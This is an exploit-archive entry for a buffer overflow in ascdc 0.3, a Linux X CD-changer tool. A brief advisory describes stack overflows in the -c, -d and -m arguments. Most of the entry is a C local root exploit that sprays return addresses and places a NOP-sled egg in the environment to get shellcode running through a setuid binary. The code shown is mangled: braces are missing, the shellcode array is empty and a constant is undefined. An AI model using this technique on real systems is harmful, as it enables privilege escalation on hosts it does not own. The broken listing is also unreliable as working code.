Rob Malda ASCDC 0.3 - Buffer Overflow Vulnerability (2)

ID SSV:74546
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.
A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.
The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges. 

/* /usr/X11R6/bin/ascdc local exploit.
 * (version: ascdc-0.3-2-i386)
 * Vulnerability found by Christer ?berg, Wkit Security AB 
 * <cut and pasted from the advisory posted on bugtraq> 
 * There are multiple buffer overflows in ascdc that can be exploited to 
 * gain root if it is installed setuid root. It is NOT installed setuid root 
 * by default but as the README says:
 * "If you intend to use the automounting feature, you must either run 
 * ascdc as root or setuid it."
 * Greetz fly out to: Tasc, C-murdah, Calimonk, Pyra, Tozz, Wildcoyote,
 *                    Lucipher, Script0r, Zephyr, ThePike, Kn00p, Cerial
 *		      Goolie and X-wartech.
 * - The Itch / BsE
 * -
 * - 
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

/* adjust if needed, this should be suffient */
unsigned long get_sp(void)
        __asm__("movl %esp, %eax");

char shellcode[] =

int main(int argc, char *argv[])
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
	if(argc > 1) { bsize = atoi(argv[1]); }

	if(!(buff = malloc(bsize)))
		printf("unable to allocate memory for %d bytes\n", bsize);

	if(!(egg = malloc(eggsize)))
	 	printf("unable to allocate memory for %d bytes\n", eggsize);

        addr = get_sp();
	printf("/usr/X11R6/bin/ascdc local exploit.\n");
	printf("Coded by The Itch / BsE\n\n");
        printf("Using return address: 0x%x\n", addr);
        printf("Using buffersize    : %d\n", bsize);
        ptr = buff;
        addr_ptr = (long *) ptr;  
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++) 
		*(ptr++) = NOP; 

	for(i = 0; i < strlen(shellcode); i++) 
		*(ptr++) = shellcode[i];

        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg, "EGG=", 4);
        memcpy(buff, "RET=", 4);
        system("/usr/X11R6/bin/ascdc -c $RET");
        return 0;

/* remember, there's no cure for BsE */